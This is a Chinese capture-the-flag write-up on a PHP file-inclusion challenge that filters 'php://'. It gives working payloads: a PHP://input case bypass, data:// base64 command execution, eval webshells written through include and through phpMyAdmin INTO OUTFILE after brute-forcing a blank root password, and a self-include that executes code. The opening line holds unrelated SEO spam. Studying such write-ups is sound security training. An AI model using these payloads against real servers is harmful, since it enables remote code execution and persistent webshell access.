专业的网站建设案例,网站服务器建设的三种方法,手机论坛,蒙山县网站建设知识点#xff1a;代码审计 文件包含 伪协议
伪协议知识点补充#xff1a;
在PHP中#xff0c;伪协议#xff08;Pseudo Protocols#xff09;也被称为流包装器#xff0c;这些伪协议以 php://开头#xff0c;后面跟着一些参数#xff0c;用于指定要执行的操作或需要…知识点代码审计 文件包含 伪协议
伪协议知识点补充
在PHP中伪协议Pseudo Protocols也被称为流包装器这些伪协议以 php://开头后面跟着一些参数用于指定要执行的操作或需要访问的资源。 伪协议表明这些协议并不是一个真实的外部协议例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。 php://input是PHP提供的一个伪协议允许开发者访问POST请求的原始内容对于POST请求数据PHP提供了 $_POST 和 $FILES 超全局变量在客户端发起POST请求时PHP将自动处理POST提交的数据并将处理结果存放至 $_POST 和 $FILES 中。
一、解题思路
step 1 打开靶机审题
打开靶机得到一串代码开始代码审计
?php
show_source(__FILE__);
echo $_GET[hello];
$page$_GET[page];
while (strstr($page, php://)) {$pagestr_replace(php://, , $page);
}
include($page);
?
step 2 代码审计 show_source(__FILE__); show_source() 函数将指定文件的内容以语法高亮的形式输出 strstr($page, php://) strstr()函数 strstr(字符串,你要搜索的内容,false) 括号里面有三个部分 1.字符串也就是上面的$page。例如在url后面添加 /?page123456那么$page的内容就是123456。 2.你要搜索的内容也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://而这里是一个while语句一旦查找到php://那么就会执行大括号里面的语句。 例如我的url是 http://61.147.171.105:53858/?pagephp.php://input 那么传入的$page的内容就是php://input而前面的“php.”就会被丢弃。 3.false我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后会输出php://和之后的内容。而如果为true则会输出“php.”也就是php://前面的内容。 注strstr函数对大小写敏感也就是会区分大小写。 str_replace(php://, , $page) str_replace()函数 str_replace函数这个函数的作用是将匹配到的php://全部替换为空。
例如str_replace(“1”“2”“123”)会输出223。因为会将全部的1替换为2。同样区分大小写
str_replace(php://, , $page) 即会将 php:// 替换为 $page 中的值。 总之程序过滤掉了page参数传入php:// step 3 五个解法
解法一 使用php://input 伪协议大小写绕过/原因strstr函数区分大小写
php://input可用于执行php代码使用post方式传递代码即可。这里再将php改为PHP
构建url为
/?pagePHP://input
使用hackbar或bp抓包用post方式传递php代码。
?php system(ls); ? 列出所有文件 fl4gisisish3r3.php 疑似flagcat一下得到了真的flag
解法二 data://伪协议执行命令利用
既然过滤了php://的伪协议 我们可以使用其他协议来替代这里使用data://伪协议
data://伪协议php5.2.0起数据流封装器开始有效主要用于数据流的读取。如果传入的数据是PHP代码就会执行代码
使用方法:
data://text/plain;base64,xxxx(base64编码后的数据)
?php system(dir)? base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8
http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b
(注意编码后的号要URL编码)
?php system(cat fl4gisisish3r3.php)? base64编码后使用
http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg
查看源码得到flag 解法三 data://伪协议转木马
?php eval($_POST[x]); ? base64加密后拼接
http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg
菜刀连接即可:
解法四 抓包后再最下面添加一段代码蚁剑
代码如下
?PHP fputs(fopen(/tmp/shell.php,w),?php eval($_POST[x])?);? 注意点这里一句话木马[]里没有单引号蚁剑链接先测试链接
Tipslinux默认tmp是可写目录所以尝试一句话然后蚁剑链接即可看到文件
解法四 数据库写入一句话木马这里没弄明白在哪里写入一句话木马望大佬指条明路
dirsearch扫描获得phpmyadmin文件怪怪的传参进去看看情况得到如下界面 抓包爆破用户名和密码 得到用户名为root密码为空
进入数据库执行这条命令查看secure_file_priv是否为空为空则可以写数据
SHOW VARIABLES LIKE secure_file_priv 显示为空
然后写入一句话马用蚁剑连接
SELECT ?php eval($_POST[xiaohua]); ?
INTO OUTFILE /tmp/test1.php
注secure_file_priv 为系统变量如果是null即没设置允许操作的目录所以没法导出到文件
解法五 通过hello参数回显新方法但这里模棱两可这里也需要大佬指路
payload如下(flag文件名由上面方法可以得到)
http://61.147.171.105:64764/?pagehttp://127.0.0.1?hello?show_source(fl4gisisish3r3.php);?
大概理解一下
首先使page参数为本页代码绕过判断会执行include文件包含本页代码这时传入的hello参数会被视为php代码执行